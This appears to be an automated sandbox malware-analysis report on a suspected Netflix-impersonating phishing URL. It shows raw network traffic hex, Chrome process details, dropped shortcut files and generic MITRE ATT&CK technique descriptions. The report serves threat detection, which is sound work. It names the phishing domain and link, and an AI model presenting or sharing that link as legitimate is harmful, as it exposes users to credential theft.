2025-02-21 23:51:38 UTC	1369	IN	Data Raw: 9a ea a9 cc ba 35 6a 60 4c 42 31 84 49 e8 78 d1 cb 24 29 31 19 03 f4 b3 f7 5c 94 f3 e8 d9 d0 bd 37 29 52 20 b5 7e d5 fc 97 d0 d3 b1 cb 4f b5 69 71 b9 2e 9e 45 4c d6 de db 96 9c 1c dc d2 ea 28 29 cf d0 dc ab 05 65 2f 6f 63 f4 79 19 0c dc df 10 33 39 ea b0 58 99 ec 26 63 c4 78 47 3d 25 78 e1 04 22 89 24 9d c9 55 2e 28 04 2e 99 a0 08 e4 62 c0 8a c6 35 a0 00 3a 59 25 96 59 65 96 c5 4a 75 29 35 56 4b 13 1a 55 31 ec 39 f3 b1 f0 b1 cf 96 fb 2b 4a 4b d2 8b 85 d5 a8 00 00 02 0d 47 3a a5 51 cb a4 27 9c 6e 10 6c 59 2a 60 1a 2b 5d 2a d6 28 75 5b 38 f7 68 cb 30 55 7b 9f 01 b7 60 ca 86 c5 97 56 75 ae 62 8a 21 a1 bf 43 43 2a eb a3 bd 04 92 47 1f 18 6e aa a6 0b 35 34 f3 9d 41 97 60 9f 51 a1 1f 20 f9 11 8a ae 2d 5b d7 c8 cb 5e c2 f2 08 99 b9 19 70 5d 54 8a 55 72 80 a2 b6 Data Ascii: 5j`LB1Ix$)1\7)R ~Oiq.EL()e/ocy39X&cxG=%x"$U.(.b5:Y%YeJu)5VKU19+JKG:Q'nlY`+](u[8h0U{`Vub!CC*Gn54A`Q -[^p]TUr
2025-02-21 23:51:38 UTC	1369	IN	Data Raw: 76 ef 0b 7e 56 5e 9d 83 64 a5 46 4c f6 c8 e6 b8 99 48 1b 2b 52 58 55 15 48 a7 84 73 5c c8 d0 68 5a bd 7a fd ea 5c 64 d7 35 b7 7c f3 62 fd 79 ae d1 71 1c 4b 6e 8a 8e c0 d4 ad 5a ce 80 b1 44 af 9f 09 2c d8 d2 30 66 2c d9 cd 8a 15 97 46 a4 52 e9 4a 8d 5a 4a e9 21 96 de ef 21 5b a1 b3 0f 43 87 2e 58 61 8a b2 49 6f 7e fb d7 cd 63 94 12 c7 49 75 58 d8 99 44 b8 b4 b3 28 cc 32 b5 d7 c7 1b dc a8 d5 7b d4 89 92 ca 8c 85 b2 8d 42 1b 12 57 d4 bd ce d8 6a d4 57 e8 6e e8 58 a5 99 87 06 ce 93 34 a6 8a 9f 23 34 95 c6 8e 86 bc d2 c6 d9 0b 1a e6 03 a6 9a 5b 78 f7 2e 58 84 86 67 a5 06 42 ed 47 e4 d5 47 23 88 9f 24 4e e8 db 51 ad 32 5c e8 e4 8d 14 44 91 62 86 68 84 41 6d 57 e9 19 8f b8 d8 dd 1c f7 34 ab 64 0e 83 4d 30 69 eb e3 be 4b d2 31 91 46 d8 6c cb 9f 35 bd 3a 2c 61 39 Data Ascii: v~V^dFLH+RXUHs\hZz\d5\|byqKnZD,0f,FRJZJ!![C.XaIo~cIuXD(2{BWjWnX4#4[x.XgBGG#$NQ2\DbhAmW4dM0iK1Fl5:,a9
2025-02-21 23:51:38 UTC	1369	IN	Data Raw: 8b 9d a5 d6 55 8a 3a 28 02 db 8f 55 ee af c5 75 fa 08 da b5 29 d4 a9 59 02 49 ad 5b 8b 4a ba 36 a5 07 d9 91 b4 2c 74 98 d4 34 ac 20 f6 43 99 1d f4 7c 5b e8 fd 4e 53 ba cf d2 f3 fe 93 4e 96 af 27 23 b9 86 e9 66 a3 53 47 72 b5 0a d1 69 b6 9d 8d 6d 7c 65 e6 02 1b 33 b6 09 bb 2d 7c 42 e7 27 d7 f3 9d 76 37 37 d5 65 ea de e0 3a de 5f 53 05 fb dc c4 9a 39 d1 2a 22 a0 b3 ec ea df 6f 17 52 79 06 6f e3 cb a9 6a 0e 49 04 52 45 a8 b7 20 1c e7 49 66 b4 f1 0e b2 e4 db 6e 77 5e bc 8c 3b 15 72 33 fa ab 3c bd 44 1f d0 df ca bf 6d 2b 41 cf 3f a8 83 9f e8 b0 ae d5 b9 b3 57 17 62 1c 28 9a 31 2e cf a5 30 e5 85 b2 35 b8 8b 56 0e c7 42 8c 31 d5 51 0b 83 2b 68 69 61 64 f7 79 ca 4f 32 a2 32 95 7a 74 ea 56 68 b2 49 33 e8 4f 6e 36 c3 2e 93 ea d9 96 9d 7b e5 1c bd 09 51 62 63 2c 47 Data Ascii: U:(Uu)YI[J6,t4 C\|[NSN'#fSGrim\|e3-\|B'v77e:_S9*"oRyojIRE Ifnw^;r3<Dm+A?Wb(1.05VB1Q+hiadyO22ztVhI3On6.{Qbc,G
2025-02-21 23:51:38 UTC	1369	IN	Data Raw: c5 3a 80 22 a1 59 07 38 74 6d 51 67 86 e3 6a b1 5d 3e 95 5a 8e 95 16 b9 2b 64 ab 2c f3 d4 80 8d 54 44 14 63 2e 5c 28 b5 f1 96 ac b6 3a 6c 7d f5 62 49 52 bd ab 70 3f 2f ac a1 a1 61 f1 4d 8f 24 d9 35 5f 3d 9c f9 ee 6b df 9e 54 e2 e8 4d 14 23 88 da fa f6 6e ec df b9 5f 3a 2d 45 c8 82 2a 96 aa 66 f6 76 64 8d 97 e9 5a 63 82 21 af e7 6a 75 a3 12 39 5a 3e 55 95 8d 85 5d 3e 55 d2 ea f3 dd 0e 2d 84 ac 5e e6 0e 93 30 64 fb f4 b0 35 6c c0 fb 3e 79 d5 f4 4e 54 11 8c a3 46 95 2a 55 80 09 49 64 81 67 89 62 b3 ac fa f9 95 c4 23 b7 31 5d 65 70 08 08 d8 10 1e a3 50 4b 51 c3 7e 9b 05 7b 66 12 74 d0 ad 5a 27 be b1 2c f3 d4 80 8c 7a 0d 07 42 9a b2 a6 72 b9 88 b3 8e 86 2b 37 21 4a 53 d7 7d e7 67 ba 7e 93 1f 52 d6 72 4b 0a 10 49 3d 9c bb d3 e8 49 3b d7 03 92 9d 52 bb 91 1c d2 Data Ascii: :"Y8tmQgj]>Z+d,TDc.\(:l}bIRp?/aM$5_=kTM#n_:-EfvdZc!ju9Z>U]>U-^0d5l>yNTFUIdgb#1]epPKQ~{ftZ',zBr+7!JS}g~RrKI=I;R
2025-02-21 23:51:38 UTC	1369	IN	Data Raw: 63 40 00 00 00 6b 18 c6 46 00 2b d5 1d 3b 61 14 74 ba 32 69 c8 e6 42 c7 aa 14 b1 64 89 15 1a d7 22 0e 6c 57 35 27 b5 b3 89 9f 9e c4 6b 51 14 1a f4 53 4e 47 e7 57 78 d6 c3 3a a2 a4 4c 72 b5 07 48 93 b6 c3 1b 04 ad 6a b9 cd 6b 6c a4 96 85 4a f7 3a 5c 78 8c ed 6e 7b 7b 5d 96 5b 9d 14 d6 12 b4 d3 c0 10 f1 bb 76 21 83 46 d4 76 4a 92 cb 52 be 7b 9d b5 52 cd 8d 0c 38 27 66 a3 b8 db f3 b3 62 4a f8 d7 fa 40 91 22 82 8d 8c be 5b d1 26 90 16 ab 72 ad 64 a3 a1 bc e8 59 15 2d 6c 5a 77 05 01 45 73 86 cb 00 00 00 d4 1e 00 04 50 0f 8d a3 50 01 45 57 cf a1 72 5b 99 d8 f1 83 db 13 10 72 80 8d 73 47 3a 06 ec 5d 93 63 46 93 a7 e4 72 2d f4 b8 59 76 eb 42 b6 25 95 ba 49 46 04 62 36 14 90 0b 50 be 19 24 80 6c 28 2c c2 24 8d 54 1e 95 ef 3e 14 55 73 e6 7d b9 2b 65 e8 ae 37 62 aa Data Ascii: c@kF+;at2iBd"lW5'kQSNGWx:LrHjklJ:\xn{{][v!FvJR{R8'fbJ@"[&rdY-lZwEsPPEWr[rsG:]cFr-YvB%IFb6P$l(,$T>Us}+e7b

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49729	188.114.97.3	443	3452	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-21 23:51:38 UTC	364	OUT	GET /e/img/nficon2016.ico HTTP/1.1 Host: netflix-official.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-21 23:51:38 UTC	929	IN	HTTP/1.1 200 OK Date: Fri, 21 Feb 2025 23:51:38 GMT Content-Type: image/vnd.microsoft.icon Content-Length: 16958 Connection: close Host: netflix-official.com Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 2470 Last-Modified: Fri, 21 Feb 2025 23:10:28 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BVaW4QqHbuFmAsi5F9Ia1g345kRMIQRrn%2Fm4JekgG8ia0TtF30QaVKLJLMGgIZ%2FyvtRd4sckhZpjMm9LxOCxhK3VKag9cBqd%2BYmoFEsQIv4YRHtNGrlUSOYkiP%2FXVsveTHaeqKfKiA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 915aa5408823425b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1673&min_rtt=1668&rtt_var=636&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2852&recv_bytes=942&delivery_rate=1704611&cwnd=243&unsent_bytes=0&cid=e8be0422a764a419&ts=160&x=0"
2025-02-21 23:51:38 UTC	440	IN	Data Raw: 00 00 01 00 01 00 40 40 00 00 00 00 20 00 28 42 00 00 16 00 00 00 28 00 00 00 40 00 00 00 80 00 00 00 01 00 20 00 00 00 00 00 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 05 b0 f1 10 05 af d4 0f 07 af b7 0f 07 af 9c 0f 06 b2 84 0e 05 b0 6b 0f 06 b0 54 10 04 b0 41 0b 05 ad 2f 09 00 b0 1d 00 00 aa 0f 00 00 7f 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 cc 05 0f 00 e1 11 11 08 dd 1e 12 06 e1 2b 10 08 e2 3e 13 06 e3 52 14 07 e4 68 14 08 e3 80 14 08 e2 9a 14 08 e1 b5 12 Data Ascii: @@ (B(@ kTA/+>Rh
2025-02-21 23:51:38 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 12 08 e5 62 12 07 e2 f9 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 11 07 c2 ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: b
2025-02-21 23:51:38 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 09 e2 90 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 0f 05 b1 ff 0f 06 ad ff 0f 06 b1 ff 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2025-02-21 23:51:38 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 ad ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 08 e4 5f 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 10 06 b8 ff 0e 05 a1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: _
2025-02-21 23:51:38 UTC	1369	IN	Data Raw: 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 11 06 c5 ff 0e 04 95 ff 0f 05 a6 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0e 05 a5 ff 0e 04 97 ff 00 00 00 00 00 00 00 00 00 00 00 00 12 07 e1 8b 13 08 e4 ff 13 08 e4 ff Data Ascii:
2025-02-21 23:51:38 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 05 a3 ff 0d 03 94 ff 0d 02 85 ff 00 00 00 00 11 09 e2 59 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 10 04 af ff 0d 02 8c ff 0e 04 9e ff 0f 06 af ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Y
2025-02-21 23:51:38 UTC	1369	IN	Data Raw: 00 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0e 05 ad ff 0e 05 9f ff 0d 03 90 ff 0c 01 81 ff 0d 02 8c ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 10 06 c3 ff 0c 01 80 ff 0d 03 92 ff 0e 04 a2 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2025-02-21 23:51:38 UTC	1369	IN	Data Raw: 13 08 e4 ff 12 07 d8 ff 0c 01 7b ff 0c 02 85 ff 0d 03 96 ff 0f 05 a8 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0e 05 a6 ff 0e 04 98 ff 0d 03 8a ff 0e 03 9e ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 Data Ascii: {
2025-02-21 23:51:38 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0e 05 a3 ff 0e 04 95 ff 0d 03 93 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e3 b7 00 00 00 00 0c 01 7d ff 0d 03 8f ff 0e 05 a0 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: }
2025-02-21 23:51:38 UTC	1369	IN	Data Raw: b1 ff 0f 06 b1 ff 0f 06 ae ff 0e 04 9f ff 0d 03 93 ff 13 08 dc ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 13 08 e4 ff 12 09 e2 e5 00 00 7f 02 00 00 00 00 00 00 00 00 0d 03 93 ff 0e 05 a5 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 0f 06 b1 ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0f 06 b1 ff 0f 06 b1 ff 0f Data Ascii:

Target ID:	0
Start time:	18:51:24
Start date:	21/02/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	18:51:28
Start date:	21/02/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2560 --field-trial-handle=2512,i,8014782350761025771,17155498912635575568,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	18:51:34
Start date:	21/02/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "http://netflix-official.com/e/authID=ek3Lf"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report http://netflix-official.com/e/authID=ek3Lf

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Networking

System Summary

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 65

Chrome Cache Entry: 66

Chrome Cache Entry: 67

Chrome Cache Entry: 68

Chrome Cache Entry: 69

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Static File Info

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

ICMP Packets

DNS Queries

DNS Answers

Windows Analysis Report
http://netflix-official.com/e/authID=ek3Lf